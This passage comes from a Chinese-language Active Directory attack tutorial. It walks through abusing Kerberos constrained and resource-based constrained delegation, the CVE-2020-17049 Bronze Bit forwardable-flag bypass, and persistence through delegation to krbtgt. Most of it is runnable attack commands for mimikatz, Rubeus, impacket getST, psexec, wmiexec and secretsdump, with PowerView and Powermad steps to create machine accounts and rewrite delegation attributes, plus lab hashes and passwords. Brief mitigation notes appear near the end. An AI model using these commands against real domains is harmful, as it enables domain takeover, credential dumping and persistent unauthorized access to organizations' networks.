（注意，伪造的用户需要是经过KDC备案的用户。另外，如果伪造的用户不具备其他服务的权限，那么即使成功委派该服务，生成了票据并注入内存也无法成功访问，因此最好直接伪造administrator用户） 伪造无权限的man03用户 tgs::s4u /tgt:TGT_WSUS-PC$@VVVV1.COM_krbtgt~vvvv1.com@VVVV1.COM.kirbi /user:man03@vvvv1.com /service:cifs/ad-2016.vvvv1.com 发现成功生成ST kerberos::ptt TGS_man03@vvvv1.com@VVVV1.COM_cifs~ad-2016.vvvv1.com@VVVV1.COM.kirbi 导入ST后，发现并没有权限访问域控的CIFS服务 伪造有权限的administrator用户 tgs::s4u /tgt:TGT_WSUS-PC$@VVVV1.COM_krbtgt~vvvv1.com@VVVV1.COM.kirbi /user:Administrator@vvvv1.com /service:cifs/ad-2016.vvvv1.com 导入ST后，可以直接访问域控的CIFS服务 kerberos::ptt TGS_Administrator@vvvv1.com@VVVV1.COM_cifs~ad-2016.vvvv1.com@VVVV1.COM.kirbi 当然，导入票据之后，具有了域控的CIFS权限，就可以直接使用psexec直接连接即可 psexec.exe \\ad-2016.vvvv1.com cmd.exe 在这里注意一个点，使用windows自带的psexec可以直接使用windows本地票据进行连接，使用impacket工具包无法成功连接。 因为windows自带的psexec工具是建立在windows平台下的工具，因此可以直接读取到windows内存中的票据，通过票据进行发包进行连接。 但是使用impacket工具包中的psexec、smbexec等工具是建立在linux平台下的工具，在linux中并没有票据这一说法，使用 impacket 的脚本使用 .ccache 文件进行身份验证，因此在生成票据文件的时候，我们需要将.kribi文件格式转化成impacket脚本可以识别的文件格式，也就是.ccache文件。然后我们需要将 KRB5CCNAME 变量设置为 ccache 文件的绝对路径。 然后使用impacket工具包即可直接连接。 python psexec.py administrator@ad-2016.vvvv1.com -k -no-pass 攻击方式二当然，也可以直接使用mimikatz导出机器账户的TGT，这样就不需要生成TGT了。 sekurlsa::tickets /export 接下来利用服务账户的TGT来伪造S4U来请求自身的可转发的ST，然后再通过自身的可转发的ST来伪造任意用户请求获取其他服务的ST tgs::s4u /tgt:[0;3e4]-2-1-40e10000-WSUS-PC$@krbtgt-VVVV1.COM.kirbi /user:Administrator@vvvv1.com /service:cifs/ad-2016.vvvv1.com 再通过mimikatz导入票据即可 kerberos::ptt TGS_Administrator@vvvv1.com@VVVV1.COM_cifs~ad-2016.vvvv1.com@VVVV1.COM.kirbi 然后可以使用官方的psexec进行连接 PsExec64.exe \\ad-2016.vvvv1.com cmd.exe 攻击方式三直接利用Rubeus进行攻击 Rubeus.exe s4u /user:WSUS-PC$ /rc4:729211aa36b43064f566d70dff031567 /domain:vvvv1.com /impersonateuser:administrator /msdsspn:cifs/ad-2016.vvvv1.com /ptt 已经可以直接使用psexec连接了 PsExec64.exe \\ad-2016.vvvv1.com cmd.exe 攻击方法四python getST.py -dc-ip 10.10.10.10 -spn cifs/ad-2016.vvvv1.com -impersonate administrator vvvv1.com/WSUS-PC$ -hashes :729211aa36b43064f566d70dff031567 set KRB5CCNAME=C:\Users\Administrator\Desktop\kekeo\administrator.ccache python psexec.py administrator@ad-2016.vvvv1.com -k -no-pass -codec gbk 总结约束委派和非约束委派的区别 1.委派任何服务即为非约束委派，委派特定的服务即为约束委派； 2.非约束委派需要另一台主机或账号对配置了非约束委派的主机进行kerberos认证，并且需要通过认证，非约束委派主机可以直接导出对方保存在内存中的TGT来进行利用； 而约束委派是在获取到配置了约束委派的主机后，通过伪造S4U来请求主机或者服务账号本身的可转发的ST，然后通过该ST来伪造任意用户(需要通过KDC验证的用户)请求获取对应服务的ST； 3.非约束委派需要完成整个kerberos认证，因此需要其他主机主动进行认证，而约束委派只需要备案在KDC中的用户名即可，因此可以进行伪造用户请求，不需要其他主机主动进行认证； 4.使用windows自带的psexec可以直接使用windows本地票据进行连接，使用impacket工具包无法成功连接。因为windows自带的psexec工具是建立在windows平台下的工具，因此可以直接读取到windows内存中的票据，通过票据进行发包进行连接。但是使用impacket工具包中的psexec、smbexec等工具是建立在linux平台下的工具，在linux中并没有票据这一说法，使用 impacket 的脚本使用 .ccache 文件进行身份验证，因此在生成票据文件的时候，我们需要将.kribi文件格式转化成impacket脚本可以识别的文件格式，也就是.ccache文件。然后我们需要将 KRB5CCNAME 变量设置为 ccache 文件的绝对路径。 基于资源的约束委派基于资源的约束性委派 (RBCD： Resource Based Constrained Delegation)：为了使⽤户/资源更加独⽴，微软在Windows Server 2012中引⼊了基于资源的约束性委派。基于资源的约束委派不需要域管理员权限去设置，⽽把设置属性的权限赋予给了机器⾃身--基于资源的约束性委派允许资源配置受信任的帐户委派给他们。 基于资源的约束委派只能在运⾏ Windows Server 2012 和 Windows Server 2012 R2 及以上的域控制器上配置，但资源的约束委派可以跨域森林和跨域。 流程如下 服务A使用自己的服务账户和密码向KDC申请一个可转发的TGT；服务A利用S4u2Self协议代表用户申请一个访问自身的ST。这一步区别于传统的约束性委派。在S4uSelf协议中提到，返回的ST可转发的一个条件是服务A配置了传统的约束性委派。KDC会检查服务A的msDS-AllowedToDelegateTo字段，如果这个字段被赋值了，则KDC返回可转发的ST。但是由于这里是基于资源的约束性委派，是在服务B上配置的，服务B的msDS-AllowedToActOnBehalfOfOtherIdentity属性配置了服务A的SID，服务A并没有配置msDS-AllowedToDelegateTo字段，因此KDC返回的ST是不可转发的；服务A利用S4u2Proxy协议以用户身份向KDC请求访问服务B的可转发ST（上一步获得的不可转发ST放在请求包的AddtionTicket中）。KDC返回访问服务B的可转发ST；服务A用上一步获得可转发ST访问服务B； 利用条件 由上文我们可以知道，配置了基于资源的约束性委派账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性的值为被允许委派账户的SID。那么，谁能修改msDS-AllowedToActOnBehalfOfOtherIdentity属性，就说明谁拥有配置基于资源的约束性委派的权限。 在域控上执行，查询指定域内机器PC-2016的msDS-AllowedToActOnBehalfOfOtherIdentity属性 AdFind.exe -f "&(objectcategory=computer)(name=PC-2016)" msDS-AllowedToActOnBehalfOfOtherIdentity 默认情况下没有该属性 谁能添加机器账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性，谁就能配置基于资源的约束性委派。使用Adfind执行如下的命令，查询PC-2016机器的ACL，看哪些用户修改属性的权限 AdFind.exe -b CN=PC-2016,CN=Computers,DC=vvvv1,DC=com -sc getacl -sddl+++ -sddlfilter ;;"WRT PROP";;; 如图所示，这四类用户可以修改该机器账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性。 VVVV1\WP：该用户为将该机器加入域的用户； VVVV1\Cert Publishers：该用户组是用于授权和管理证书发布人的； NT AUTHORITY\SELF：该用户是机器账户自身； BUILTIN\Administrators：该用户组的是 Windows 操作系统中的一个内置用户组，包含了本地计算机上具有管理员权限的用户和组； 或者配置写入权限，也可以修改账户属性； 实际上，我们可以忽略VVVV1\Cert Publishers组，因为该组默认是不存在用户的。 机器账户自身和管理员组可以修属性不难理解，但是为什么VVVV1\WP用户可以修改属性呢？ 这里我们需要明白的是，非只有域管理员才有将机器加入域的权限。一个普通的域用户也可以将某个机器加入域内，如果使用某个域用户将一台机器加入域内，那么这个域用户也就拥有了可以修改对应机器的属性的权限。 另外，域内用户都有一个属性叫做ms-ds-MachineAccountQuota，它代表的是允许用户在域中常见计算机账户的个数，默认是10。那么这就代表我们如果拥有一个普通的域用户那么我们就可以利用这个用户最多可以创建十个新的计算机帐户也就是机器账户。前文我们也提到了，S4U2Self只适用于具有SPN的账户，而机器账户默认是注册RestrictedKrbHost/domain和HOST/domain这两个SPN的，因此可以直接利用。 基于资源的约束性委派的优势 委派的授予权限给了拥有资源的后端，而不是前端。不再需要域管理员权限设置，只需要拥有在计算机对象上编辑msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限，也就是将机器加入域的域用户和机器在自身都拥有该权限；约束性委派不能跨域进行委派，而基于资源的约束性委派可以跨域和林；约束性委派和基于资源的约束性委派配置的差别 传统的约束性委派是“正向的”，通过修改服务账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性，添加服务B的SPN，设置约束性委派对象为服务B，服务A便可以模拟任意用户向域控请求访问服务B的ST；而基于资源的约束性委派则相反，通过修改服务B的msDS-AllowedToActOnBehalfOfOtherIdentity属性，添加服务A的SID，以达到让服务A模拟任意用户访问服务B资源的目的；基于资源的约束性委派攻击 该攻击是有国外安全研究员Elad Shami 提出的，他在文章中指出无论服务账户的UserAccountControl属性是否被设置为TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION值，服务自身都可以通过调用S4uSelf来为任意用户请求自身的服务票据。但是当没有设置该属性时，KDC通过检查账户的msDS-AllowedToActOnBehalfOfOtherIdentity字段，发现没有被赋值，所以服务自身通过S4uSelf请求到的ST是不可转发的，因此是无法通过S4u2Proxy协议转发到其他服务进行约束性委派认证； 但是，在基于资源的约束性委派的过程中，不可转发的ST仍然可以通过S4u2Proxy协议转发到其他服务进行约束性委派认证，并且服务还会返回可转发的ST，这是微软的设计缺陷； 因此，如果我们能够在服务B上配置允许服务A的基于资源的约束性委派，那么可以通过控制服务A使用S4uSelf协议向域控请求任意用户访问自身的ST，最后再使用S4u2Proxy协议转发此ST去请求访问服务B的可转发ST，我们就可以模拟任意用户访问服务B了。而这里我们控制的服务A可以普通域用户的身份去创建机器账户； 最后，我们总结几个利用的条件： 操作系统版本大于Windows Server 2012；拥有一个普通域用户权限，用于创建服务账户（直接使用一个服务账户也可以）；拥有一个域用户权限，且该用户具有可以修改目标机器属性的权限（域管理员账户、机器账户自身和创建机器账户的用户拥有该权限）；查询基于资源的约束委派的主机或服务账户AdFind 利用Adfind过滤samAccountType和msDS-AllowedToActOnBehalfOfOtherIdentity属性。 查询域中配置了基于资源的约束性委派的主机Adfind.exe -b "DC=vvvv1,DC=com" -f "(&(samAccountType=805306369)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" msDS-AllowedToActOnBehalfOfOtherIdentity 查询域中配置了基于资源的约束性委派的服务账户Adfind.exe -b ”DC=vvvv1,DC=com" -f "(&(samAccountType=805306368)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" msDS-AllowedToActOnBehalfOfOtherIdentity 使用Adfind查询出来的msDS-AllowedToActOnBehalfOfOtherIdentity值用{Security Descriptor}代替，这个值包含允许被委派的服务账户或机器账户的SID IdapSearch 利用ldapSearch过滤samAccountType和msDS-AllowedToActOnBehalfOfOtherIdentity属性 查询域中配置了基于资源的约束性委派的主机ldapsearch -x -H ldap://10.10.10.10:389 -D "admins@vvvv1.com" -w User!@#45 -b "DC=vvvv1,DC=com" "(&(samAccountType=805306369)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" | grep dn 查询域中配置了基于资源的约束性委派的服务账户ldapsearch -x -H ldap://10.10.10.10:389 -D "admins@vvvv1.com" -w User!@#45 -b "DC=vvvv1,DC=com" "(&(samAccountType=805306368)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" | grep dn 基于资源的约束委派利用步骤一当前已经获取到域内一个用户权限VVVV1\WP whoami /all S-1-5-21-3315874494-179465980-3412869843-2607 或者使用PowerView工具Get-DomainUser -Identity VVVV1\WP -Properties objectsid 导入PowerView.ps1 Powershell -ExecutionPolicy Bypass Import-Module .\PowerView.ps1 查看用户VVVV1\WP的ACL权限Get-DomainObjectAcl | ?{$_.SecurityIdentifier -match "S-1-5-21-3315874494-179465980-3412869843-2607"} | select objectdn,activedirectoryrights 或者使用如下命令，查询VVVV1\WP对指定机器账户的ACL权限Get-DomainObjectAcl -Identity PC-2016 | ?{$_.SecurityIdentifier -match "S-1-5-21-3315874494-179465980-3412869843-2607"} 不一定需要GenericAll权限，GenericWrite、WriteProperty、WriteDacl等等权限都可以修改账户属性。 步骤二添加机器账户 如果已经获取到域内另一个机器账户的HASH,也可以跳过这一步骤。 使用工具PowerMad Powershell -ExecutionPolicy Bypass Import-Module .\Powermad.ps1 //New-MachineAccount -MachineAccount [username] -Password $(ConvertTo-SecureString "[userpassword]" -AsPlainText -Force) New-MachineAccount -MachineAccount weipai -Password $(ConvertTo-SecureString "User!@#45" -AsPlainText -Force) 查询当前域内机器账户 net group "domain computers" /domain 查询机器账户的SID 使用PowerView脚本 Get-DomainComputer -Identity weipai | select objectsid S-1-5-21-3315874494-179465980-3412869843-2609 在windows server2008以及2012版本中，可以使用系统自带的工具dsget和dsquery进行查询SID dsquery computer | dsget computer -dn -sid 上传并导入该DLL //Microsoft.ActiveDirectory.Management.dll Import-Module .\Microsoft.ActiveDirectory.Management.dll //Get-ADComputer [username] Get-ADComputer weipai 步骤三修改msDS-AllowedToActOnBehalfOfOtherIdentity 有两种方法可以修改msDS-AllowedToActOnBehalfOfOtherIdentity属性值 PowerviewActiveDirectory模块PowerView 配置weipai到PC-2016的基于资源的约束委派 Powershell -ExecutionPolicy Bypass Import-Module .\PowerView.ps1 $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3315874494-179465980-3412869843-2609)" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Get-DomainComputer pc-2016| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose 验证是否成功添加，如果有返回值，则证明成功添加属性 Get-DomainComputer pc-2016 -Properties msds-allowedtoactonbehalfofotheridentity 清除msds-allowedtoactonbehalfofotheridentity属性的值 Set-DomainObject pc-2016 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose ActiveDirectory模块 只有Windows Server 2012以及以上的ActiveDirectory模块才有-PrincipalsAllowedToDelegateToAccount选项，且ActiveDirectory模块默认只在域控上安装，如果不是域控可以从域控上把DLL文件复制出来，然后导入powershell即可。 Powershell -ExecutionPolicy Bypass Import-Module .\Microsoft.ActiveDirectory.Management.dll Set-ADComputer pc-2016 -PrincipalsAllowedToDelegateToAccount weipai$ Get-ADComputer pc-2016 -Properties PrincipalsAllowedToDelegateToAccount 步骤四注入票据获取权限 Rubeus 因为Rubeus是不支持明文的，所以先把它转换为hash Rubeus.exe hash /user:weipai /password:User!@#45 /domain:vvvv1.com //0EC4B410903C6DC7594464F27D347497 Rubeus.exe s4u /user:weipai$ /rc4:0EC4B410903C6DC7594464F27D347497 /impersonateuser:administrator /msdsspn:cifs/pc-2016.vvvv1.com /ptt //注意，使用工具Rubeus注入票据时，目标主机名与之后认证的时候的主机名需要一致 //比如这里是cifs/pc-2016.vvvv1.com，之后dir就需要用pc-2016.vvvv1.com //如果这里是cifs/pc-2016，之后dir就需要用pc-2016，否则就会拒绝访问 也可以直接使用psexec连接 PsExec64.exe \\pc-2016.vvvv1.com cmd.exe 注意，这里获得的权限其实是本地的管理员权限，并没有访问域内资源的权限。 impacket工具包 python getST.py -dc-ip 10.10.10.10 -spn cifs/pc-2016.vvvv1.com -impersonate administrator vvvv1.com/weipai$:User!@#45 set KRB5CCNAME=C:\Users\WP\Desktop\administrator.ccache python psexec.py -no-pass -k pc-2016.vvvv1.com -dc-ip 10.10.10.10 -codec gbk 总结 基于资源的约束委派是普通约束委派的反向，不需要域控来进行指定，只需要拥有一个可以修改属性的域内账户即可（域管理员账户、机器账户自身和创建机器账户的用户拥有该权限）；基于资源的约束委派获得的是对方的本地管理员权限，或者system权限，因此多数情况下，基于资源的约束委派可以用来本地提权操作，只需要拥有一个可以修改当前机器属性的域内账户即可；用户不可委派在域环境中，高权限用户如果没有特殊需求的情况下，考虑到安全性一般是设置为不可委派，或者是加入受保护组。 加载ActiveDirectory模块（需要在登录域内账户） Powershell -ExecutionPolicy Bypass Import-Module .\Microsoft.ActiveDirectory.Management.dll Get-ADUser administrator -Properties AccountNotDelegated, Memberof Rubeus.exe s4u /user:PC-2016$ /rc4:cf6fd40df4e9a1326279ae803382628a /domain:vvvv1.com /impersonateuser:administrator /msdsspn:cifs/PC-2016.vvvv1.com /ptt 这时候我们在通过s4u去申请一下票据，这个时候S4U2self是成功的，但是S4U2proxy是失败的。 https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html 也就是说账户不可委派以及受保护组的成员是不影响S4U2Self的，可以使用Rubeus describe查看一下S4U2self返回的票据信息，可以看到该票据是没有服务名称的，并且不可转发。 首先，我们可以知道，在我们配置委派的时候，有两种方式 1）仅使用Kerberos 配置了仅使用Kerberos约束性委派的机器账户和服务账户的userAccountControl属性与正常账户一样，但是其msDS-AllowedToDelegateTo属性会有允许被委派服务的SPN （2）使用任何身份验证协议 配置了使用任何身份验证协议约束性委派的机器账户的userAccountControl属性的Flag位为WORKSTATION_TRUST_ACCOUNT | TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION,其对应的值为16781312，并且其msDS-AllowedToDelegateTo属性会有允许被委派服务的SPN从上文的链接中，我们可以了解到，当帐户设置了 TrustedToAuthForDelegation 标志（也称为“协议转换”）时，这种基于资源的反射约束委派相当于 S4U2Self，因为它允许帐户代表用户为自己获取可转发的 TGS。但是，如果帐户配置为具有“仅 Kerberos”的经典约束委派（未设置 TrustedToAuthForDelegation 并且 msDS-AllowedToDelegateTo 不为空），则经典条件优先于基于资源的条件，因此 S4U2Self 会以非-可转发的 TGS 和 S4U2Proxy 失败。 因此，我们必须要配置任何身份验证才可以进行委派。 详情看上文链接文章的这一节：A Misunderstood Feature #1 查看票据详情，发现服务名称是缺失的。 Rubeus.exe describe /ticket:ticket.kirbi 我们可以修改从S4U2Self获取的TGS上的SPN，并将其变成有效的。 https://xz.aliyun.com/t/7454#toc-2 Rubeus 在Rebeus加入了一个模块可以直接修改票据的SPN，把base64字符串复制下来后，存放到ticket.kribi文件中，由于被base64加密，所以要解密，解密过后可以直接使用Rubeus直接替换里面的内容，这里我们使用python对字符串进行处理。 data ='' with open("1.txt") as fp1: for line in fp1: data += line.strip().strip('\n') with open("2.txt",mode='a') as fp2: fp2.write(data) import base64 def base64_decode_to_file(encoded_string, filename): try: # 将字符串进行 base64 解码 decoded_data = base64.b64decode(encoded_string) # 以二进制方式写入文件 with open(filename, 'wb') as file: file.write(decoded_data) print("解码并写入文件成功！") except Exception as e: print("解码并写入文件出错：", str(e)) # 测试 encoded_string = data filename = "ticket.kirbi" base64_decode_to_file(encoded_string, filename) # print(data) Rubeus.exe tgssub /ticket:ticket.kirbi /altservice:cifs/pc-2016.vvvv1.com /ptt //或者直接使用字符串进行修改 Rubeus.exe tgssub /ticket:BASE64 /altservice:cifs/pc-2016.vvvv1.com /ptt Rubeus.exe describe /ticket:ticket.kirbi ASN.1 Editor 修改下图这两处地方即可。 总结对于用户不可委派的实际应用场景，经过测试，实际上范围十分小。 因为在这一过程中，我们修改的是从S4U2Self获取的ST上的，那么就意味着，在委派的过程中，我们只能利用一台机器账户的HASH，来委派这一台机器本身的服务。如果是一台机器来委派另一台机器的服务，那么我们修改的ST是来自第一台机器的自身可以转发的ST，即使修改了也是只能获取到该机器的服务，并不能获取到第二台机器的服务。 //通过一台机器账户的HASH，来委派这一台机器本身的服务 Rubeus.exe s4u /user:PC-2016$ /rc4:cf6fd40df4e9a1326279ae803382628a /domain:vvvv1.com /impersonateuser:administrator /msdsspn:cifs/PC-2016.vvvv1.com /ptt 而且由于上文所指的只有设置了 TrustedToAuthForDelegation 标志才能进行委派，而默认情况下的非约束委派是不会配置这个标志位的，因此通过机器账户的HASH来获取对应机器的服务必须是在约束委派的前提下进行。 那么我们想要进行约束委派，也需要在域控进行设置，因此该功能比较鸡肋，当然，如果遇到对应情况，就可以利用机器账户来获取到其他的权限。 当然，这些能否使用S4Uproxy都是取决于是否转发到另一个机器，如果是获取到了某个机器账号的HASH，只是用来获取该机器的服务，不转发到其他的机器，则上文中的修改其服务名则可以成功使票据变得可以使用。（也就是说，只要是获得了某个机器账户的HASH，且该系统已经支持S4U，则可以通过S4U来获取其本地的其他服务的权限，例如CIFS。即使该机器没有设置委派也可以成功。） 至于为什么可以公告修改服务吗来使票据变得可用？ 因为在进行约束委派的流程中，第二部是获取到自身服务的ST（见下图），由于工具集成了三个步骤，因此第二个步骤的服务名因为需要被第三步进行使用，因此一般服务名为该机器的名称，例如AD-2016$。但是实际上我们可以将该名称替换成该机器的任意本地服务的名称，这样该票据也就可以成功被使用。（也就是说，如果是利用某个机器账户的HASH来获取该机器的服务，就是将下图中的步骤拆开，只进行1、2步骤）。 CVE-2020-17049 Kerberos Bronze Bit攻击https://www.freebuf.com/vuls/258430.html https://cloud.tencent.com/developer/article/1761060 https://cloud.tencent.com/developer/article/1808279 假设攻击者已经获得了Service1的密码hash值，且Service1和Service2之间存在委派信任关系（Service1配置为对Service2的约束委派或Service2接受来自Service1的基于资源约束的委派）。如果Service1允许进行协议转换（配置了TrustedToAuthForDelegation属性），就可以利用impacket套件中的GetST.py脚本来获得指定身份的Service2的服务票据ST2。 利用服务票据ST2，攻击者就能伪造成目标用户与Service2进行交互。 由于委派攻击的危害性，因此微软官方提供了多种配置来降低委派攻击的危害。首先可以通过禁止协议转换（即关闭TrustedToAuthForDelegation属性）。 其次是可以在AD中配置高权限域内账户为“敏感账户，不能被委派”。 最后还可以将域内账户添加到 “Protected Users”安全组内。 将域内账户添加到 “Protected Users”安全组内时，会对用户进行限制 密码更改频率限制：这些账户的密码更改频率将增加，以减少密码被暴力破解或猜测攻击的风险。密码历史限制：禁止重复使用之前使用过的密码，以防止密码的持久性攻击。强制 Kerberos 加密类型：只允许使用最安全的 Kerberos 加密类型进行身份验证，以减少中间人攻击的风险。强制域控制器进行 Kerberos 预身份验证：要求域控制器在 Kerberos 身份验证之前对账户进行预身份验证，以防止票据伪造攻击。强制用户会话进行加密：要求用户会话使用加密传输数据，以防止信息泄露和中间人攻击。 如果某域内账户设置了上述配置至少一个，那么为该域内账户申请服务票据时，该服务票据的“ForWardable”将始终设置为0。即Service1仍然能通过S4U2self 协议获取该域内账户的服务票据ST1，但由于该服务票据ST1的ForWardable标志位0，那么就不能在S4U2 proxy中使用该服务票据ST1获取其他服务票据。 观察上图，可以发现在ST1是使用Service1密匙进行加密的。这意味着Service1可以解密ST1后修改forwardable值，然后重新使用Service1密匙进加密后发送给KDC ，forwardable标志不在PAC中，所以KDC无法检测到该值是否已经被篡改。 绕过限制后，攻击者就可以模拟目标用户与Service2进行交互。 漏洞利用首先配置administrator账户为敏感账户，不可委派，且加入了Protected Users安全组。 配置委派的服务一为仅使用kerberos认证。 获取到服务一的HASH WSUS-PC$ 5d0a673b5f338a159c260fa7b8bc99ec 利用工具进行委派攻击 python getST.py -dc-ip 10.10.10.10 -spn cifs/ad-2016.vvvv1.com -impersonate administrator vvvv1.com/WSUS-PC$ -hashes :5d0a673b5f338a159c260fa7b8bc99ec 发现无法生成对应票据。 添加-force-forwardable参数即可成功。 python getST.py -dc-ip 10.10.10.10 -spn cifs/ad-2016.vvvv1.com -impersonate administrator vvvv1.com/WSUS-PC$ -hashes :5d0a673b5f338a159c260fa7b8bc99ec -force-forwardable set KRB5CCNAME=C:\Users\Administrator\Desktop\administrator.ccache python psexec.py administrator@ad-2016.vvvv1.com -k -no-pass -codec gbk 或者使用mimikatz将票据注入内存 kerberos::ptc administrator.ccache 使用委派进行权限维持使用约束委派进行权限维持TGT由krbtgt Hash加密，如果能通过委派krbtgt服务，那么就能伪造任意用户的TGT了。 由于krbtgt默认是禁用的，所以无法使用页面添加它的SPN。 域控通过powershell添加账户到krbtgt的约束委派。 powershell -exec bypass Import-Module ActiveDirectory $user = Get-ADUser WP //添加机器账户的委派$user = Get-ADComputer WSUS-PC$ Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/vvvv1.com") } 利用impacket套件攻击 伪造administrator的TGT python getST.py -dc-ip 10.10.10.10 -spn krbtgt/vvvv1.com -impersonate administrator vvvv1.com/WP:User!@#45 python getST.py -dc-ip 10.10.10.10 -spn krbtgt/vvvv1.com -impersonate administrator vvvv1.com/WSUS-PC$ -hashes :5d0a673b5f338a159c260fa7b8bc99ec 导入票据 export KRB5CCNAME=administrator.ccache 用wmiexec弹出一个权限为administrator交互式的shell python wmiexec.py -no-pass -k administrator@WIN-KONG.hiro.com -dc-ip 10.10.10.10 导出域内哈希 python secretsdump.py -no-pass -k WIN-KONG.hiro.com 使用基于资源的约束委派进行权限维持与约束委派的权限维持类似，我们可以配置某个服务账户到krbtgt的基于资源的约束委派，只要有了修改krbtgt的权限，就能伪造任意用户请求krbtgt服务，则可以请求到任意用户的TGT。 使用PowerView工具 S-1-5-21-3315874494-179465980-3412869843-502 使用AdFind查找可以修改krbtgt账户属性的账户 AdFind.exe -b CN=krbtgt,CN=Users,DC=vvvv1,DC=com -sc getacl -sddl+++ -sddlfilter ;;"WRT PROP";;; 在域控上执行： //SID为weipai$的SID $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3315874494-179465980-3412869843-2609)" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Set-DomainObject krbtgt -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose 验证是否成功添加，如果有返回值，则证明成功添加属性 Get-DomainComputer krbtgt -Properties msds-allowedtoactonbehalfofotheridentity //Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount 清除msds-allowedtoactonbehalfofotheridentity属性的值 Set-DomainObject krbtgt -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose rubeus 使用rubeus伪造administrator请求TGT Rubeus.exe s4u /user:weipai$ /rc4:0EC4B410903C6DC7594464F27D347497 /impersonateuser:administrator /msdsspn:krbtgt /ptt impacket工具包 使用impacket工具包也可以实现 python getST.py -dc-ip 10.10.10.10 -spn krbtgt -impersonate administrator vvvv1.com/weipai$:User!@#45 set KRB5CCNAME=administrator.ccache python wmiexec.py -no-pass -k administrator@ad-2016.vvvv1.com -dc-ip 10.10.10.10 PAC攻击https://blog.csdn.net/shuteer_xu/article/details/129253005 PAC (Privilege Attribute Certificate，特权属性证书)，其中所包含的是各种授权信息、附加凭据信息、配置文件和策略信息等。例如用户所属的用户组， 用户所具有的权限等。在最初的RFC1510中规定的标准Kerberos认证过程中并没有PAC，微软在自己的产品中所实现的Kerberos流程加入了PAC的概念，因为在域中不同权限的用户能够访问的资源是不同的，因此微软设计PAC用来辨别用户身份和权限。 在一个正常的Kerberos认证流程中，KDC返回的TGT认购权证和ST服务票据中都是带有PAC的。这样做的好处就是在以后对资源的访问中， 服务端再接收到客户请求的时候不再需要借助KDC的帮助提供完整的授权信息来完成对用户权限的判断， 而只需要根据请求中所包含的PAC信息直接与本地资源的ACL相比较做出裁决。 PAC中包含两个数字签名：**PAC_SERVER_CHECKSUM 和 PAC_PRIVSVR_CHECKSUM。**PAC_SERVER_CHECKSUM是使用服务密钥进行签名，而PAC_PRIVSVR_CHECKSUM是使用KDC密钥进行签名。签名有两个原因。首先，存在带有服务密钥的签名，以验证此PAC由服务进行了签名。其次，带有KDC密钥的签名是为了防止不受信任的服务用无效的PAC为自己伪造票据。 这两个签名分别以PAC_SERVER_CHECKSUM和PAC_PRIVSVR_CHECKSUM类型的PAC_INFO_BUFFER发送。在PAC数据用于访问控制之前，必须检查PAC_SERVER_CHECKSUM签名。这将验证客户端是否知道服务的密钥。而PAC_PRIVSVR_CHECKSUM签名的验证是可选的，默认不开启。它用于验证PAC是否由KDC签发，而不是由KDC以外的具有访问服务密钥的人放入票据中。 PAC中是有两个签名的：PAC_SERVER_CHECKSUM 和 PAC_PRIVSVR_CHECKSUM。一个是使用服务密钥(PAC_SERVER_CHECKSUM)进行签名，另一个使用KDC密钥(PAC_PRIVSVR_CHECKSUM)进行签名。当服务端收到客户端发来的AP-REQ消息时，只能校验PAC_SERVER_CHECKSUM签名，而并不能校验PAC_PRIVSVR_CHECKSUM签名。因此，正常来说如果需要校验PAC_PRIVSVR_CHECKSUM签名的话，服务端还需要将客户端发来的ST服务票据中的PAC签名发给KDC进行校验。 但是，由于大部分服务默认并没有KDC验证PAC这一步(需要将目标服务主机配置为验证KDC PAC签名，默认未开启)，因此服务端就无需将ST服务票据中的PAC签名发给KDC校验了，只需要在本地与ACL进行对比验证即可。这也是白银票据攻击能成功的前提，因为如果配置了需要验证PAC_PRIVSVR_CHECKSUM签名的话，服务端会将这个PAC的数字签名以KRB_VERIFY_PAC的消息通过RPC协议发送给KDC，KDC再将验证这个PAC的数字签名的结果以RPC返回码的形式发送给服务端，服务端就可以根据这个返回结果判断PAC的真实性和有效性了。 因此如果目标服务主机配置了要校验PAC_PRIVSVR_CHECKSUM签名的话，就算攻击者拥有服务密钥，可以制作ST服务票据，也不能伪造KDC的PAC_PRIVSVR_CHECKSUM签名，自然就无法通过KDC的签名校验了。 根据微软官方文档的描述，若要开启KDC校验PAC，需要有以下条件： 应用程序具有SeTcbPrivilege权限。SeTcbPrivilege权限允许为用户帐户分配“作为操作系统的一部分”。本地系统、网络服务和本地服务帐户都是由windows定义的服务用户帐户。每个帐户都有一组特定的特权。应用程序是一个服务，验证KDC PAC签名的注册表项被设置为1，默认为0。修改方法如下：启动注册表编辑器regedit.exe找到以下子键：HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters添加一个ValidateKdcPacSignature的键值(DWORD类型)。该值为0时，不会进行KDC PAC校验。该值为1时，会进行KDC PAC校验。因此可以将该值设置为1启用KDC PAC校验。对于验证KDC PAC签名这个注册表键值，有以下几点注意事项： 如果服务端并非一个服务程序，而是一个普通应用程序，它将不受以上注册表的影响，而总是进行KDC PAC校验。如果服务端并非一个程序，而是一个驱动，其认证过程在系统内核内完成，它将不受以上注册表的影响，而永不进行PAC校验。使用以上注册表项，需要在Windows Server 2003 SP2或更新的操作系统。在运行Windows Server 